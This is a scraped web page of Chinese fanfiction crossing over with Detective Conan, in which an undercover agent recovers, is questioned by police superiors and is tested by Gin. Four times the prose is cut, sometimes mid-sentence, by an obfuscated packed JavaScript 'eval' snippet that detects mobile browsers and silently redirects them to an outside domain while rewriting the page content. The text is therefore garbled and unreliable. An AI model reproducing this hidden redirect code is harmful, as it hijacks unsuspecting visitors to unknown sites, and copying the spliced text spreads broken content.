;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427647|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上班。 “辛苦了,注意安全。” 降谷零哑然,这是他第二次正式和竹取无尘见面,对方不演成珀洛塞可那副样子的时候,看上去确实是一位正直的警官。 金发卧底想起执行任务的那天晚上,废弃的居民楼里倒下的尸体,望远镜里,他看见血液飞溅进杀人者的眼睛,那双黑瞳霎时间血红,又从眼角流出,血泪一样顺着脸颊往下滴。 那是一手怎么样的杀人技。 他这么想着,他也就这么问了——如竹取无尘所愿,他们需要信任。 “那天执行任务的时候,制服那十多个人的能力,也是你那位故人教你的吗?” 黑发青年不置可否地耸了耸肩:“是啊,我现在会的一切,基本上都是【他】教我的。” “你也看到了,我身高不算太高,不算很壮,真要论肉搏,我胜算不大。” “不学怎么突袭的话,我会死。” ———更别提他在上个世界,要面对的是一帮不知道进化出了什么能力的挂姐挂哥。 话题又莫名沉重了。 降谷点点头,一时间无人接话。 “咳咳,那个。”这次轮到诸伏景光来转移话题了,“我给警视厅那边报告的是,由于代号干邑试图杀死你抢夺物品,才导致被你反杀。” 他对上竹取的眼睛,淡淡地一笑,好看的猫眼弯了弯。 “打了一下信息差,不要说漏嘴了。” “啊…” 竹取无尘也盯着诸伏景光的蓝瞳,又转头,整理了一下被子,调整了一下坐姿,又扯了两把床单,仿佛想说什么话,又没说出来,正在左右纠结。 他还以为诸伏景光会和警视厅如实报告,思考了好久该怎么和上级说。 他盯着盖在他双腿上的被子,已经被他整理得平平展展。 “谢谢你。” 他吐出一口气,自嘲道:“我还以为我一醒来,你们会说什么我为什么要杀死干邑,为什么就这样杀死一条人命之类的话。” “我都准备好说什么…道不同不相为谋,从今往后我们好好做同事…就行了…什么之类的话了…” 青年黑色的瞳孔在房间里四处转,少了一些底气。 “虽然我不知道你们会不会觉得我手段过激,但是还是谢谢你。” 有些事情并不是不说就不存在。 诸伏景光叹了口气,看着坐在床上乱瞟的竹取无尘,想到那天晚上他打下的报告,想到那天他开的两枪———那精准穿透了两名交易人员的头颅的两枪,又想到因组织而死的人,想到自己的父母、哥哥,想到仇恨,想到外守一。 他相信法律,相信国家,相信正义。 但是自己是潜入搜查官,是卧底。 他们都是。 不杀了他们,死亡的就会是他,是他的同伴,是更多的普通人,是更多普通人的父母、孩子、伴侣、挚友———然后是仇恨,压榨撕扯着一代又一代人的仇恨。 等不及,他们等不及法律到来,等不及那象征正义的法锤敲下。 真的很残酷。 干邑的死亡和那天任务目标的死亡没有区别,诸伏景光是这么想的。 降谷零也是这么想的。 他和自家幼驯染有多谨慎、在这个组织有多小心翼翼,他们自己很清楚,如果不是警视厅通知,害怕行动交叉,他不可能会去见竹取无尘,如果不是发现竹取无尘不受THk004控制,他也不可能放心和zero一起把对方带回来。 这确实是最快能拉近他们信任的办法,确实是最快让他们不再内耗的办法。 只有这样才能救更多的人——搜查官也好,普通人也好,他们都是。 “竹取,”诸伏景光透过薄薄的窗帘布,看着外面已然暗下的天空,黑色侵袭着为数不多落日的红,各种色彩穿插在一起,却干干净净的清亮。 今天晚上的夜空也许是晴朗的。 “我不认同你的做法,不代表我不理解你的做法。” “既然你会这么想,我猜测你也很纠结。” 他们都很纠结。 “可是我想,也许这样才能救更多的人。” “你如果要谢谢我,那我同时也要谢谢你。” “谢谢你。” 谢谢你,亲自入局,告诉我们可以相信你,告诉我们可以迅速凑成合作,去更深地潜进这个组织。 ————也许这样才能救更多的人。 竹取无尘瞳孔一缩。 他看着正在盯着窗外的诸伏景光,轻笑着叹气。 “不客气。” 话题果然还是太沉重了啊。 11. 第 11 章 028 两个人像在玩什么互相道谢的小游戏。 降谷零失笑,在竹取无尘终于醒来之后,他和hiro身上仿佛有什么沉重的东西消失了,这段时间难得的轻松感,全部聚拢在了这个小小的安全屋。 诸伏景光听到竹取无尘那声不客气之后也笑了:“现在好点了吗?我还是去拿点水给你吧,感觉你有快超过48小时没有吃东西了。” “好啊,谢谢你。”他又道谢了。 诸伏景光转身走出房间倒水,竹取把目光投向了还在一旁站着没动的降谷零。 “不过,降谷——我可以这样叫你吗?” “嗯?当然——” 猝不及防的对视。 降谷零看见竹取无尘的瞳孔,像墨水滴入水中,扩散、扩散。似乎有火苗在跳动,黑色的漩涡在透明鱼缸里旋转,不明的液体一滴一滴砸在地上。疼痛,他觉得自己像溺了水。 有谁在哭? “怎么了吗?” 猫眼青年拿着水杯,搁在了床头柜上。他一进来就看见这两人在互相盯着,都没说话。 竹取无尘收回视线,深呼吸一口气。 “没什么。” 精神力值降低至10%。 “不过降谷,你不按照剂量吃缓释解药,没有出现什么后遗症吧?” 他看到金发青年的精神画布,在最边缘处有一个小小的裂孔——他直接用异能补上了。虽然能力强的人可以自愈,但是…顺手的事而已,在这个世界精神画布碎了他可救不回来,那是精神治愈系的人才能干的精细活。 竹取眯了眯眼睛,刚刚恢复的一点精神力又骤降,不能再继续用了。 身体有点脱力。 “啊…没事的,”降谷零回神,揉了揉鼻梁,他刚刚看到竹取那双沉寂的黑瞳,总感觉要把人拉进去一样——可能是一天只睡了三个小时,太疲惫导致的错觉吧,金发青年找补,“我和公安那边一直有联系,他们那边也在持续跟进检查设备。” “不知道你们那边会不会跟进,如果有需要的话我可以联系上边也给你检查一下。” 竹取无尘拿过床头柜的水杯,手有点抖,也许是刚才一下又用了太多精神力的原因:“没关系,我是按照剂量吃缓释剂的,那天的情况也不像是THK004本来的药效。” “我不太清楚你们后面闻到了没有,那天我一进房间,就闻到了一股甜味。” 甜得他有点恶心。 “然后你们也看到了。”黑发青年想到他直接被痛到地上趴着的那一幕,有点不太自然的尴尬,“我觉得那个可能也是药引。” 诸伏景光思索着那天的细节,想到了什么:“如果是甜味的话,我在服用了THK004之后,确实有闻到。” “是的,我也闻到了,没想到是这个作用。”降谷复合着点头,叹了一口气“看起来要查的东西更多了。” 这个组织到底怎么弄出来这么多奇形怪状的药物的。 天色彻底黑了下来,月亮明幽幽地挂着,可惜今天无人欣赏。 是啊,要查的东西更多了。 卧底们心累。 “已经这么晚了啊。”竹取无尘歪头,透透的窗帘外已经看不到景色,也没有居民楼的灯光,这栋房子的地理位置应该比较偏僻。 “你今晚要回去吗?如果还是不舒服的话,可以继续在这里睡一晚。” “这房子还挺大的。” 竹取无尘想到自己那一堆搁置了近一个半星期的报告,还有那位可能已经着急上火的联络人。 他抿了下水杯中的水,又放下了杯子。 “不用了,”他掀开被子,转身准备下床。“还有挺多事情没做呢。” 黑发青年从床上站起,一阵黑从眼前花花地闪过,他忽然看见地板朝自己飞来。 “砰。” “竹取!”站着的两人看着青年从床上站起,又看着他直直往地上扑了下去。 “额啊……我没事,我没事。”竹取无尘又一次趴在地板上,挥挥手打断了要冲上来扶起他的同伴。“哈哈…稍微有点低血糖…哈哈…哈哈。” 其实是在还没有完全恢复的时候大量运用了异能,一下床就又开始晕。 救命。他和地板最近是有什么缘分吗? “抱歉,抱歉”黑发青年翻过身,慢腾腾从地上坐起,靠着背后的窗台站了起来,“吓到你们了。” “我稍微缓缓再…” 两段手机通讯的声音打断了他的发言。 是他和诸伏景光的手机提醒。 029 【手机通讯】gin:没死的话下周三来017训练室。 【手机通讯】prosecco: 好的、大、人、 他抬头,和诸伏景光那双静谧的蓝眸对视。 “看起来,我的任务也快来了。”降谷零看着两个人的反应,他挑眉,翻看着手机。 030 深夜,降谷零顺路开车把竹取无尘送回了住所附近,又立马奔赴下一个场所。 “警察厅还真是辛苦啊。”这么说着的竹取无尘回到了住所,在长达将近两个星期后,再次打开了自己的电脑。 【电脑通讯】C:回来了,一切正常,任务报告1已经上传。 【电脑通讯】:明天下午两点,银座通,A3出口,ア09-01 这是要和他见面啊…… 青年看着消息通讯的时间和地点,想着自己只在资料上见过的那位联络人。 房间里只有键盘敲击声,冷白的台灯照亮了一角,还有很多工作等着青年去完成。 竹取无尘叹气。 哪怕换了一个世界,卧底工作也完全不容易啊! 竹取无尘又叹气。 还好自己晕的时间够长,足足有二十多个小时。青年看着窗帘缝中已然露出的光线,和自己敲了一晚上的报告们,他这么想着。 不然真的熬不动啊! 上传完报告,他又把窗帘拉紧,定好下午的闹钟,轻飘飘往床里一裹———睡眠啊,不管在哪个世界,都是良药一般的存在。 早安? 不对,晚安。 031 【“阿蒂斯”】 “你真的觉得你这么做是个好主意吗?”说话的人有着一双红色的虹膜,玛瑙一样,折射着燥热的光。 “没什么不好的吧。”男人接话,聚了聚自己高高梳起的马尾。“保命的手段而已。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427648|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那他的能力你怎么解释?” “我会屏蔽掉一部分的能力,等合适的时候,会想起来该怎么用的。” “精神画布呢?” “呵。”男人轻笑,黑色的瞳孔闪了闪。“没有人,洛洛溪,没有人会发现这件事的真相。” “是啊。”在一旁一直站着的他加入了话题。“说得对。” “没有人会发现这件事的真相。” “没有人会发现的,没有人会知道『我』是谁,『我』的真假,『我』的记忆。” 他抬头看着天空,阿蒂斯的天干燥而血红,接着说,“更何况,在不久之后,『我』也不会知道了呢。” 红瞳少年双手抱胸,反复打量着他面前的这两个人:“真傲慢啊。” “这是事实,洛洛溪。” “人是自由的。” 闹铃声闯进,撕开了面前人的身体。 惊醒。 032 ———“人是自由的。” 他停留在这一句,但梦境的主人着实想不起来这是什么时候的事情了。 不过是个好梦。 竹取无尘想到那个人,那个起码还活生生站在他面前的人。 下午一点零三分。 会不会有点来不及了? 他从床上一下子挪到卫生间洗漱,左右一通收拾,提早了五分钟到达对方给的地址。 东京 ア09-01,一辆白色的丰田普锐斯。竹取无尘看着对方开着车停在了他身前。 青年拉开门,直接坐进了副驾驶。 “下午好,桐生女士。”他和对方打着招呼。 “好久不见,竹取。”她笑着这么说。 路况很畅通,桐生晴开着车,时不时看坐在边上的竹取无尘一眼。 “之前不是说好了叫我桐生就行了吗,竹取。”桐生晴眨了眨棕色的眼睛,在后视镜里和黑发青年对视。 “哦呀,抱歉啊桐生,最近太忙了。”竹取无尘早就发觉了自己这个身份在到来前做过很多事情,不过他都不知道,导致现在只能按照自己的习惯摸索。 “这次找我是干什么?” “上面那边听说了你的情况,他们很担心。”桐生组织着自己的语言。“现在我们在去的是警视厅下的一个医疗点。” “你消失的这两个星期,真的很吓人啊!”她甚至已经想冲进上级办公室,喊他们快点派人去救竹取了。 “只是去医疗点的话,我自己也可以去吧。” “上面让你来试探我?” “……” 桐生晴沉默半晌。 她叹气,把车停靠在了路边,缓缓开口道:“上面说那个组织很多药物都是攻击精神枢纽的,他们害怕你被药物所控制,反过来损害到公众的利益和安全。” “你刚刚叫我桐生女士,竹取。” 棕发警官转头,和坐在一边有点茫然的竹取无尘对视:“你不记得了,竹取。” “他们对你做了什么?” 竹取无尘:………? 青年张了张嘴,又闭上了嘴,又张了张嘴。 啊不…不对…警官你……误会了…完全误会了啊!! 他该怎么解释啊! 12. 第 12 章 033 大脑发光是一种感觉。 竹取无尘看着自己联络人真诚且担忧的眼神,他头一次有这种切实大脑发光的体验。 青年脑子里突然出现了一些剧情,在顺着桐生的话往下滑:他,竹取无尘,死而复生的某神秘路人,身为一名搜查官,卧底进入不知名组织后惨遭洗脑,遗忘了所有的记忆,被迫向同为警察的同事下了杀手,从那以后,他坠入罪恶的深渊,公安竹取无尘不复存在,在一切结束之后开枪自…… 很惊悚但是又很符合逻辑的剧本在脑子里乱飞,并不是他主动这么想的———而是他看着联络人的那双眼睛,她的眼睛告诉他:她桐生晴是这么想的! 这个剧本确实可以直接解释他为什么会记不得之前的事情,不过在这种情况下,他要是胡乱表演,一会影响整个公安对组织整体生物制药水平以及真实药效的判断,二是会连累到别的搜查官无辜受到来自上层怀疑,本来这个工作就是在高空走绳,自己也就别再没事找事了。 这个剧本要不得啊桐生!! 相信他好吗,他竹取无尘受过训练,真的是专业的啊! 黑发青年深吸一大口气。 他安抚地看向桐生,示意她放心:“我没事,桐生,没有人对我干了什么。” “没人能控制我,”他勾起嘴角,“我的记忆确实出现了一点无伤大雅的问题,但是你相信我,那些缺失的记忆改变不了我。” “我一直都是我。” ———人是自由的,人可以自由地找到自我,然后成为自我,这从来都不曾改变。 马路边时不时有汽车飞驰,秋日的云在地上投射着一朵一朵的影子,裹着被风吹下打着旋的叶子。 阳光细碎,透过车窗点点洒在人身上,光斑折射在青年黑色虹膜下轻晃。 “你相信我吗?” 桐生晴看着竹取无尘,对方和她三年前夜晚见到的那个人别无二致。 她可以相信他吗? 这件事关乎到他们二人的性命,关乎到别的搜查官的性命,甚至牵扯到所有竹取无尘知道的人或者事的利害关系。 那她需要报告上级吗? 如果向上级报告,竹取无尘会面临怎样的怀疑和审查?他会被上层那些不明立场的人如何利用?他们坚持三年才深入那个组织到这个地步,会不会就此功亏一篑? 这是一只放着他们都无法背负之物的天平。 敢赌吗?在这么多药物作用的压力下,她赌得起吗?她还能相信『人』可以自由吗? 这是一个信任与不信任的命题。 已经快仲秋了,为什么天气依旧燥热。 “竹取,”桐生感觉自己喉咙里也许卡了根鱼刺,哽得她些许难受。 “那你回答我,你为什么选择成为一名公安?” 他说哪怕他失忆了,也不会改变他自己本来的样子。她放在膝盖上的手攥了攥,等候审判一样侧头盯着竹取——她等待着那个回答。 “我为什么选择成为一名公安?” 有些事情其实早有苗头。 那些他查到的种种资料,他听到的那些莫名熟悉的手段。 一直有个猜测在持续扩大着。 “因为我想救更多的人。”他这么回答年轻的警官。 或许早在阿蒂斯之前,早在三年前他从废墟里醒来之前。 “你相信我了吗?桐生。” 黑发青年看到警官女士眨了眨眼。 是错觉吗?他总感觉对方很感动。 ————“我想救更多的人。” 在很久之前,他也说过这么一句一模一样的话。 确实是他没有错。 紧绷的气氛被轻轻放下,桐生晴点了点头,把目光重新投向路面。 她揉揉眼睛,调整了语气:“好,竹取,我相信你。” “如果,”她非常严肃地和竹取无尘这么说着:“如果你出事了、你背叛了,我会第一时间联系上级,我会冲在第一线,逮捕你,甚至杀了你。” 她选择相信对方。 她赌了。 黑发青年也转头和桐生晴对视,他眼底蔓延出一丝丝的笑意,由衷地感谢自己联络人对自己的信任。 其实他无法想象他背叛的样子,如果真有那一天的话,诸伏景光的狙击枪子弹应该会先一步进入他的脑子。 “好的,我不会让那一天出现的,桐生警官。” 丰田普锐斯又重新起步,继续开往它本来的目的地。 “我们见面也只是一次上层安排的简单试探,回去之后我会报告一切没有异常,一会的检查可能涉及到一些问话的环节。” 桐生晴一边掌着方向盘,一边和竹取无尘对着消息。 “他们害怕你消失的那两个星期,在组织里面说出什么不该说的,导致自己的地位反过来被威胁。” “说起来也好笑,明明是他们害怕那个组织再接着盘踞扩大,会影响他们的仕途,才会考虑送一堆搜查官进去获取情报,真送进去了,又害怕被搜查官背刺。” “能阻止犯罪扩大是一部分考量,实则就是想让你们进去捞把柄,供他们使用。” “他们把你们当成什么了。” 竹取无尘手肘撑在车窗边缘,整个头靠在手上,静静听着桐生晴逐渐冰冷的声音。 当成什么了吗? 这个问题他确实无法回答。 很多时候他也不清楚自己在这个世界算什么,刽子手?搜查官?杀人犯?蝙蝠侠?不过每当他沉下来,盯着自己精神画布上那一枚被人种下的精神钉———像溺水的人从翻涌的海浪里艰难浮起,黑夜里,他看见那唯一平稳坚定着探照的灯塔。 跟着平静的灯束走,也就不会再迷路了吧。 只要知道自己现在要做什么就行了。 车行驶得很平稳,偶有颠簸,时间在慢慢流淌。 桐生晴在红灯间隙,又转头看了看撑在车窗边快要睡着的竹取无尘。 “话说回来,竹取。”她好像想到了什么,“你应该还记得我们是怎么认识的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427649|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?” 竹取无尘原本快靠在车门上的整个人又慢慢僵硬,转头对着对方装傻一样眨了眨眼。 桐生晴:…………… 呵呵,这绝对是不记得了。 “你到底是怎么把自己弄成这样的?”桐生晴无奈。 “额……我撞到头了?” “下次编谎话的时候可以尝试运用一下陈述句。” 绿灯了,棕发警官换挡启动了车。 “我们认识于三年前的4月14日晚上,那天你救了我一命。” “一会的问话里可能会涉及到我们两个相关的内容,我相信我公开资料你应该已经背熟了。” “记住是三年前的4月14日。” 竹取无尘听完这话,再一次仔细打量了这位棕短发警官,虽然对于桐生晴来说他们是重逢,可是对于他,他们还是第一次见面。 很果断的一位警官。 他看着车停在了一栋约八层楼高的建筑前,周围比较偏僻,没什么人经过。 “谢谢你,桐生。” 他开门下车。 034 公安的检查和问话不过都是老一套,检查无非就是心电图、抽血、填点资料。 问话无非就是—— 姓名? “竹取无尘。” 年龄? “26岁。” 杀死干邑的原因? “自保,以便潜入顺利进行。” 药物服用记录? “THK004一次,缓释解药一次。” 是否记得一些作为密钥的特殊时间点? “三年前的四月十四日。” 和一些敲打:“竹取,你也看到了,上级这边也在紧急处理,光是组织的药物流通就已经让一线的公安焦头烂额,现在改变上层的组织架构,只会让事情火上加油。” 这是安抚他。 “而且牵扯到的人太多,也就不是我们警视厅能够管控的事情了,到时候出了什么问题,我们都担不起责。” 这是威胁他。 警视厅的权限范围太小,他和诸伏景光的行动都很受限,甚至可以说和单打独斗没有区别,反观警察厅,甚至境外机构,都比他们能调取的警力资源多得多。 甚至要是警视厅出了内鬼,要查到他和诸伏景光的资料也是轻而易举。 所以这帮人才在这里说一堆套话和废话,没用的消息收集了一大堆,等他出来的时候,天色已经暗下来了。 受制于人的感觉不好。 机会。他还需要一个机会。 能够彻底跳出日本警视厅的,能够做更多事的机会。 但是什么机构能够让他做更多的事呢? 竹取无尘一边走一边思索着。 这个时候当蝙蝠侠就又是一个好选择了。 他失笑。 不过这些都不是什么要紧事。 他回到安全屋,盯着昨天夜里琴酒发来的那一则任务消息。 这才是要紧事。 13. 第 13 章 035 没有警视厅任务和组织任务的日子过得真的很快。 完全把这空下来的一个星期当成了放假的竹取无尘这么想着。 这个世界虽然诡异了一点,但是没有战争,是一片和平的土壤,孩子们不用在尚未出世的时候就开始担心死亡。 是个不错的地方。 刚刚还这么想着的竹取无尘坐在餐厅,看着隔壁的男性突然开始尖叫,指着旁边另一个男性大喊着“死人了!!!”“杀人了!!!”“报警啊!!!” 竹取无尘:…? 他收回刚刚的话,可能还是需要担心一下的。 青年看着一帮人乌泱泱地围过去,接着一群警察也乌泱泱围过去,他听着人群中凶手大肆泄露的心声,还没来得及充当侦探,就有一个真·国中生侦探站了出来,一通有理有据的分析,把那个刚刚还在心里放肆大喊的凶手说得跪地痛哭。 竹取无尘:…? 这个世界的匹配机制真的很优秀,每来一个凶杀案都会跟着刷新出一个侦探,拯救没法破案的警察于水火之中。 日本警察好像要完蛋了。 竹取无尘摇头叹气。 他的手揣回冲锋衣的口袋,有一下没一下地摸蹭着口袋中手术刀的刀背,围观路人竹取无尘走出了餐厅,开车前往琴酒短信通知的地点。 017号训练室在城市边缘地带的一个地下室,他还是第一次来到这里。 竹取无尘睁了下眼睛,通过了训练室大门的虹膜扫描。 【代号成员prosecco,验证通过】 生锈的大门自动打开,摩擦在地上蹭出尖锐的声音。 一踏进训练室,数道视线毫不掩饰地向他刺来。 他环视一圈,一共七个人,他认识的有好几个,不认识的也有好几个,其中最饱含恨意的眼神来自最角落的一位男性——身高190往上,寸头,一身肌肉,他没见过。 确实不认识,竹取无尘看着对方恨不得把他碎尸万段的眼神,挑了下眉。 “下午好,珀洛塞可。”苏格兰拿着狙击枪在和一边的琴酒说着什么,看到他进来之后,用没有感情的声音和他打了一个堪称友善的招呼。 “下午好。”珀洛塞可向苏格兰点点头,手依旧揣在衣服口袋里,径直向着琴酒走去。 他正思考着现在该以什么样的态度和这位top killer谈话,那个寸头男人就飞速从角落里冲了上来,打断了他还尚未完成的腹稿。 “原来就是你小子杀了干邑大哥,我———”那男人眼看着就要一拳击中他的腹部。 “欻!” 事情发生得很突然。 手中一直没有放开的手术刀快速挥出,不过这次没有对准男人的脖子———黑发青年直接横着朝男人的胸口划去,并不伤及性命,但是也已经割破了胸口的衣服,划开皮/肉,在所有人都没反应过来的时候,血液已经流出。 寸头男人猛地低头,瞳孔骤缩,视线死死钉在自己胸口——那里正汩汩渗出血迹,他甚至没看清对方何时出的刀,大脑还陷在一片空白的愣神里。 “砰!” 沉闷的撞击声再次炸开。珀洛塞可的靴尖狠狠踹在他腹部,后脚借势发力,将对方踹砸在身后不远的墙面,发出闷声一响。 训练室里一瞬间静默,所有人都注视着这个刚进来的黑发青年和已经被踹倒在地上的男人。 靠墙抱着枪围观的黑麦威士忌眼神闪了闪。 “嗤。” 珀洛塞可嗤笑一声,他手里依旧握着手术刀,上面还保留着血迹———没人能想通他是怎么用这一把薄薄的刀,给对面造成了如此大的一个伤口。 他站着,用刀尖精准对上了寸头男性的右眼,尽管离对方还有差不多两三米的距离,不过要是地上的人再敢无端发难,他不介意给在场的人展示一下他飞刀的准头如何。 “琴酒大人,您觉不觉得干邑和他手下的小弟都是同一路货色。” 竹取无尘也拿捏不明白现在该以什么样的人设演了,干脆顺着这个干邑小弟送来的情绪接着往下说。 “一样的菜,一样的蠢,一样的喜欢扑上来突脸。” 他没回头看琴酒现在是什么表情,反而转向俯视着这个现在地上捂着伤口,被他两招瞬秒的男人。 珀洛塞可近乎是讥笑地对着对方嘲讽:“你应该不会想知道,你的干邑大哥就是这么冲上来,然后被我一刀抹了的吧。” “妈的,珀洛塞可你——” “砰!” 一直沉默着的琴酒直接朝空中鸣枪,打断了两人。 “够了,珀洛塞可。”银发杀手沉着嗓子,听不出情绪的好坏。 “伏特加,带他出去找医疗组。” 珀洛塞可转身,没再管身后的一片狼藉,一步一步走到琴酒面前,然后把沾血的手术刀往对方面前的桌子上一甩,刀刃和石制的桌面碰撞,砸出清脆的声响。 “那么,琴酒大人,”珀洛塞可似有若无地勾起嘴角,“试探也试探过了,找麻烦也找过了,您让我来,不会就是为了看我怎么把干邑的小弟踹墙上的吧。” “您就这么讨厌干邑?让他死了也要在天上看着自己小弟被揍?” “啊啦,gin,” 贝尔摩德靠坐在沙发上,转着手里的酒杯。 “你的目的好像被猜透了噢。” “呵。” 琴酒冷笑一声,视线从桌面的手术刀移到珀洛塞可那张噙着讥笑的脸。上次珀洛塞可的任务怎么完成的他不清楚,不过他也确实是时隔三年后再一次看到这个男人出手———一样的毫无征兆,一样的迅速,如果不是他避开了脖子,对方已经在第一招之后死透了。 苏格兰看着面前明显气氛焦灼的三人,拿着枪,决定先回避到一边。 他退到黑麦威士忌边上,思考着刚刚看到的珀洛塞可的能力——好友说的没错,利落、干脆、以及明显不是警校能教出来的。 故人教的吗? 他撇了一眼桌子上的带血手术刀。 什么样的故人能教出这种手段,雇佣兵的雇? “你枪法怎么样?” 银发杀手拿出一把P229型手枪,扔到了珀洛塞可手上,示意旁边无人使用的靶场。 “给你一个展示的机会。” 枪法啊。 竹取无尘掂量着手中的枪械。 这还是他来到这个世界后第一次碰枪,他查询了解了很多资料,也见过很多人开枪,不过在这里,他还是更乐意使用他随身携带的叮叮当当的冷兵器。 这个世界的枪和阿蒂斯的不同,枪支更重,后坐力强,没有稳定辅助器,子弹射程短,速度慢,杀伤力一般,弹容量也小。 所以他才有自信在这个世界直接使用冷兵器。 躲手枪的子弹而已,在这里他是降维打击。 在一旁的黑麦和苏格兰都没说话,他们在前两天才刚刚搭档过一个任务,都在都还处于相互试探的阶段。 现在他们倒是很默契地一起观看着珀洛塞可的个人表演秀。 “所以今天算什么?随堂测验?” 珀洛塞可验好枪,右手握实枪柄,目光瞄准靶纸。 那么,黑麦威士忌看着对方,摩挲着枪身,他陷入沉思——这个叫珀洛塞可的男人在前几周熬过了组织的药物实验,真名等资料他已经提交给了FBI记录存档,查下来确实是忠臣的组织成员,这是毫无疑问的。 绿色的瞳孔反复扫过那个穿着黑色冲锋衣男人的背影,对方身高177上下,刚刚的打斗可以看出他喜欢以速度取巧,无法判断脱离了刀具后,本人的实力如何。 如果FBI那边要实施抓捕的话,需要避免正面接触。 男人现在已经觉得珀洛塞可微微棘手。 “砰。” 枪声打断了思绪。 在珀洛塞可周围的四人都随着枪声看向打分仪。 “哦呀。” “不好意思,脱靶了。” 琴酒:………… 黑麦aka赤井秀一:………… 警方同僚苏格兰aka诸伏景光:………… 所以他到底是怎么从警校毕业的啊!!哪个教官放他毕业的啊!! 这警校和他读的警校绝对不是同一个吧!! 贝尔摩德在一旁差点笑出声。 “意外,意外。” 这是珀洛塞可今天从嘴里说出来的一句最真的话,他确实一点都不习惯这个世界的枪支。 “这枪不好用。” 其实这也是一句大实话,不过从一旁三位狙击手无语的眼神中看得出,他们并不相信。 珀洛塞可看到了旁边人的眼神,无奈又转身,重新颠了颠手上的枪支,随意往靶场开了两枪。 依旧脱靶。 黑发青年没有抬头,反手更换了弹夹,然后再一次认真瞄准了靶纸。 “砰。”———五环。机械音报出成绩。 “砰。”———七环。 “砰。”———八环。 “砰。”———八环。 “只能这样了。”珀洛塞可卸下剩余的子弹,把枪丢回给琴酒。 “如你所见,我枪法一般,不过也够用了。” 他又不是来给他们上演什么重生之兵王归位的。 黑麦看着珀洛塞可并不熟练的用枪习惯,敲了敲搭在狙击枪上的手指,发问:“你是不是很久没有用过枪了?” 珀洛扫过黑麦手中抱着的狙击枪,回答道:“不愧是狙击手吗?你猜对了。” “我确实很多年没有碰过枪了。” 这句话是假的,竹取无尘故作回想状,在大半年前自己还在用阿蒂斯的枪支,不过和这个世界的完全不一样罢了。 黑麦听到这话,心思微动。 很多年没碰过枪,但是习惯了一下就能恢复到稳定在八环的水平吗? “那么。”珀洛塞可对上一直没怎么说话的琴酒,“琴酒大人,任务呢?” “您不会真的就是来给我出随堂测试的吧?您是小学生的班主任吗?” 银发杀手还在思量着对方刚刚那句“很久没有碰过枪”,现在注意力又转回了这个前几天在地上大放厥词要当高层的黑发青年。 对方确实完全不装了。 他阴沉地抬眸,看了一眼珀洛塞可,从身边抽出一叠资料,丢在了桌上。 “过几天有个政治舞会,我们有个交易在舞会顶层,需要你去拿一下,黑麦威士忌和波特酒会在外围协助你。” “资料都在这里了,所有的交易文件只允许你一个人接触。” 琴酒向黑发青年示意了一下那个一直呆在角落里喝酒,没有参与他们谈话的那个人———是波特酒,男性,30岁上下,左眼有疤痕。 珀洛塞可打量了一眼对方,随即一屁股坐在了琴酒对面的沙发里,开始翻看资料。 “什么交易物品需要我来拿?我沦落成给你们跑腿的了?” “琴酒大人,您不能因为觉得我想当高层,威胁到了您的地位,就给我穿小鞋吧。” “不想干就别干了。” 杀手“啪”一下把伯/莱/塔丢在桌子上。 “你现在去死还来得及。” “呵。” 珀洛塞可没有搭理琴酒,甚至没有把目光分给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427650|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那把在桌子上的枪支———只是顺嘴挑衅对方两句而已,什么物品需要他来拿?什么资料又只能让他一个人接触? 只有两种情况,一是试探,二是机密文件。 如果是作为试探的陷阱,那琴酒不可能直接直白告诉他那些东西只能让他来接触,所以只剩下机密文件这一个可能性。 他那天的舞台真的很管用。 在短期之内,他会成为琴酒一类高层最信任的人。 “这个交易为什么需要这么多人出面?” 他一个人就算了,甚至还有黑麦那个狙击手和不知道是干什么的波特酒在外围辅助。 “哪边的人想破坏这场交易吗?” 珀洛塞可眯眼,和琴酒冷绿的眼眸对视。 “这不是你该关心的,珀洛塞可。” “拿到你该拿的东西,如果交易方临时反悔,那就杀了对方,无论怎么样,不管你闹出多大动静,你只需要按照资料上的要求做完任务。” “这场任务里,黑麦和波特酒都全权听从你的调遣。” “至于你,”top 